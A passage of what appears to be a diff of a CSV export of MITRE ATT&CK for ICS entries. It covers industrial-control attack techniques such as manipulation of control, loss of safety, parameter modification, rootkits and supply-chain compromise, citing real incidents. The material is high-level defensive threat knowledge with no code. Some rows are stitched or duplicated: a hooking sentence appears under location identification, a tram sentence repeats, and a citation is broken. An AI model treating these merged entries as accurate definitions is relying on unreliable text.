NIST SP800-82', 'url': 'https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T825,mitre-ics-attack,T0825,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Location Identification,"Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries (Citation: Guidance - NIST SP800-82). While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. +One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Stuxnet - Symantec - 201102)","['execution-ics', 'privilege-escalation-ics']",https://collaborate.mitre.org/attackics/index.php/Technique/T0874,mitre-ics-attack,T0874,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Module: Module Load']",,,,,['Engineering Workstation'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0831', 'external_id': 'T0831'}, {'source_name': 'LondonReconnections Hacked Cyber Security Railways May 2017', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'source_name': 'InHomelandSecurity Hacker Poland February 2008', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'}, {'source_name': 'Schneier Hacking Polish Trams January 2008', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'}]",,attack-pattern,attack-pattern--1af9e3fd-2bcc-414d-adbd-fe3b95c02ca1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Manipulation of Control,"Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008)",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0831,mitre-ics-attack,T0831,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0801', 'external_id': 'T0801'}]",,attack-pattern,attack-pattern--2d0d40ad-22fa-4cc8-b264-072557e1364b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Monitor Process State,"Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0801,mitre-ics-attack,T0801,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0861', 'external_id': 'T0861'}, {'source_name': 'References - tags process comprehension', 'description': 'Benjamin Green. (n.d.). On the Significance of Process Comprehension for Conducting Targeted ICS Attacks. Retrieved November 1, 2019.', 'url': 'http://www.research.lancs.ac.uk/portal/files/196578358/sample%20sigconf.pdf'}]",,attack-pattern,attack-pattern--25852363-5968-4673-b81d-341d5ed90bd1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Point & Tag Identification,"Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: References - tags process comprehension) Tags are the identifiers given to points for operator convenience. -An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.",attack-pattern--7374ab87-0782-41f8-b415-678c0950bb2a,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,"['Windows', 'Control Server']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0880', 'source_name': 'mitre-ics-attack', 'external_id': 'T0880'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0880,mitre-ics-attack,T0880,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Loss of Safety,Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.,attack-pattern--5fa00fdd-4a55-4191-94a0-564181d7fec2,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0832', 'source_name': 'mitre-ics-attack', 'external_id': 'T0832'}, {'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'source_name': 'Reference - Corero', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'source_name': 'Reference - SANS - 201510', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'source_name': 'Reference - RIoT'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0832,mitre-ics-attack,T0832,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Manipulation of View,"Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) +Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0861,mitre-ics-attack,T0861,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Jos Wetzels - Midnight Blue'],['Network Traffic: Network Traffic Content'],,,,,"['Data Historian', 'Control Server', 'Human-Machine Interface']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0847', 'external_id': 'T0847'}, {'source_name': 'KGG-Company-Site', 'description': 'Kernkraftwerk Gundremmingen. (2016, April 25). Detektion von Büro-Schadsoftware an mehreren Rechnern. Retrieved October 14, 2019.', 'url': 'https://www.kkw-gundremmingen.de/presse.php?id=571'}, {'source_name': 'KGG-Softpedia', 'description': ""Catalin Cimpanu. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved October 14, 2019."", 'url': 'https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml'}, {'source_name': 'KGG-Reuters', 'description': 'Christoph Steitz, Eric Auchard. (2016, April 26). German nuclear plant infected with computer viruses, operator says. Retrieved October 14, 2019.', 'url': 'https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS'}, {'source_name': 'KGG-Science-Alert', 'description': 'Peter Dockrill. (2016, April 28). Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant. Retrieved October 14, 2019.', 'url': 'https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant'}, {'source_name': 'KGG-ESET', 'description': 'ESET. (2016, April 28). Malware found at a German nuclear power plant. Retrieved October 14, 2019.', 'url': 'https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/'}, {'source_name': 'KGG-Geek', 'description': 'Lee Mathews. (2016, April 27). German nuclear plant found riddled with Conficker, other viruses. Retrieved October 14, 2019.', 'url': 'https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/'}, {'source_name': 'KGG-Trend Micro', 'description': 'Trend Micro. (2016, April 27). Malware Discovered in German Nuclear Power Plant. Retrieved October 14, 2019.', 'url': 'https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant'}, {'source_name': 'KGG-BBC', 'description': 'BBC. (2016, April 28). German nuclear plant hit by computer viruses. Retrieved October 14, 2019.', 'url': 'https://www.bbc.com/news/technology-36158606'}, {'source_name': 'KGG-Ars', 'description': 'Sean Gallagher. (2016, April 27). German nuclear plant’s fuel rod system swarming with old malware. Retrieved October 14, 2019.', 'url': 'https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/'}, {'source_name': 'KGG-Dark', 'description': 'Dark Reading Staff. (2016, April 28). German Nuclear Power Plant Infected With Malware. Retrieved October 14, 2019.', 'url': 'https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298'}]",,attack-pattern,attack-pattern--c267bbee-bb59-47fe-85e0-3ed210337c21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Replication Through Removable Media,"Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. -Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions.",attack-pattern--4c2e1408-9d68-4187-8e6b-a77bc52700ec,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,"['Windows', 'Engineering Workstation', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0836', 'source_name': 'mitre-ics-attack', 'external_id': 'T0836'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0836,mitre-ics-attack,T0836,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Parameter,"Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. +Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: KGG-Company-Site) (Citation: KGG-Trend Micro) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: KGG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) (Citation: KGG-Dark) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: KGG-BBC) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: KGG-ESET)",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0847,mitre-ics-attack,T0847,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Creation', 'File: File Access', 'File: File Creation', 'Process: Process Creation']",,,,,"['Human-Machine Interface', 'Data Historian', 'Control Server']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0862', 'external_id': 'T0862'}, {'source_name': 'Control Global Yokogawa May 2019', 'description': 'Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021.', 'url': 'https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/'}, {'source_name': 'Havex - F-Secure - 201406', 'description': 'F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}, {'source_name': 'Havex - F-Secure', 'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}]",,attack-pattern,attack-pattern--5e0f75da-e108-4688-a6de-a4f07cc2cbe3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-11T16:22:12.527Z,Supply Chain Compromise,"Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. -An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. - -In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)",attack-pattern--097924ce-a9a9-4039-8591-e0deedfb8722,attack-pattern,['impair-process-control'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Network protocol analysis', 'Packet capture', 'Application logs']",,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T841', 'source_name': 'mitre-ics-attack', 'external_id': 'T0841'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T841,mitre-ics-attack,T0841,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Service Scanning,"Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on [https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml specific port numbers], the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is [https://nmap.org/ Nmap]. - -An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to . - -Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.",attack-pattern--539d0484-fe95-485a-b654-86991c0d0d00,attack-pattern,['discovery-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture']",,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0845', 'source_name': 'mitre-ics-attack', 'external_id': 'T0845'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0845,mitre-ics-attack,T0845,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Program Upload,"Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.",attack-pattern--3067b85e-271e-4bc5-81ad-ab1a81d411e3,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0846', 'source_name': 'mitre-ics-attack', 'external_id': 'T0846'}, {'description': 'Enterprise ATT&CK. (2018, January 11). Remote System Discovery. Retrieved May 17, 2018.', 'source_name': 'EAttack Remote System Discovery', 'url': 'https://attack.mitre.org/wiki/Technique/T1018'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0846,mitre-ics-attack,T0846,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote System Discovery,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery)",attack-pattern--d5a69cfb-fc2a-46cb-99eb-74b236db5061,attack-pattern,['discovery-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Process monitoring', 'Process use of network', 'Process command-line parameters', 'Network protocol analysis']",,,,"['Control Server', 'Data Historian', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0851', 'source_name': 'mitre-ics-attack', 'external_id': 'T0851'}, {'description': 'Enterprise ATT&CK. (2018, January 11). Rootkit. Retrieved May 16, 2018.', 'source_name': 'EAttack Rootkit', 'url': 'https://attack.mitre.org/wiki/Technique/T1014'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0851,mitre-ics-attack,T0851,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rootkit,"Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: EAttack Rootkit) - -Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact. +Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. -Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.Reference - Rootkit",attack-pattern--3b6b9246-43f8-4c69-ad7a-2b11cfe0a0d9,attack-pattern,"['evasion-ics', 'inhibit-response-function']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,['Controller program'],,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0865', 'source_name': 'mitre-ics-attack', 'external_id': 'T0865'}, {'description': 'Enterprise ATT&CK. (2019, October 25). Spearphishing Attachment. Retrieved October 25, 2019.', 'source_name': 'EAttack Spearphishing Attachment', 'url': 'https://attack.mitre.org/techniques/T1193/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0865,mitre-ics-attack,T0865,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing Attachment,"Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment)",attack-pattern--648f995e-9c3a-41e4-aeee-98bb41037426,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Packet capture', 'Network intrusion detection system', 'Detonation chamber', 'Email gateway', 'Mail server']",,,,"['Engineering Workstation', 'Human-Machine Interface', 'Control Server', 'Data Historian']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0882', 'source_name': 'mitre-ics-attack', 'external_id': 'T0882'}, {'description': 'Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', 'source_name': 'Bowman Dam - Times', 'url': 'https://time.com/4270728/iran-cyber-attack-dam-fbi/'}, {'description': 'Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', 'source_name': 'Bowman Dam - wall street journal', 'url': 'https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0882,mitre-ics-attack,T0882,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Theft of Operational Information,"Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. +F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0862,mitre-ics-attack,T0862,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0863', 'external_id': 'T0863'}, {'source_name': 'BlackEnergy - Booz Allen Hamilton', 'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'}, {'source_name': 'Havex - F-Secure', 'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",,attack-pattern,attack-pattern--2736b752-4ec5-4421-a230-8977dea7649c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,User Execution,"Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. -In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wall street journal)",attack-pattern--b7e13ee8-182c-4f19-92a4-a88d7d855d54,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0887', 'source_name': 'mitre-ics-attack', 'external_id': 'T0887'}, {'description': 'Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K.. (2018, April). Guide to Industrial Wireless Systems Deployments. Retrieved December 1, 2020.', 'source_name': 'NIST AMS 300-4 April 2018', 'url': 'https://nvlpubs.nist.gov/nistpubs/ams/NIST.AMS.300-4.pdf'}, {'description': 'Bastille. (2017, April 17). Dallas Siren Attack. Retrieved November 6, 2020.', 'source_name': 'Bastille Dallas April 2017', 'url': 'https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack'}, {'description': 'Gallagher, S.. (2017, April 12). Pirate radio: Signal spoof set off Dallas emergency sirens, not network hack. Retrieved December 1, 2020.', 'source_name': 'Ars Technica Dallas April 2017', 'url': 'https://arstechnica.com/information-technology/2017/04/dallas-siren-hack-used-radio-signals-to-spoof-alarm-says-city-manager/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 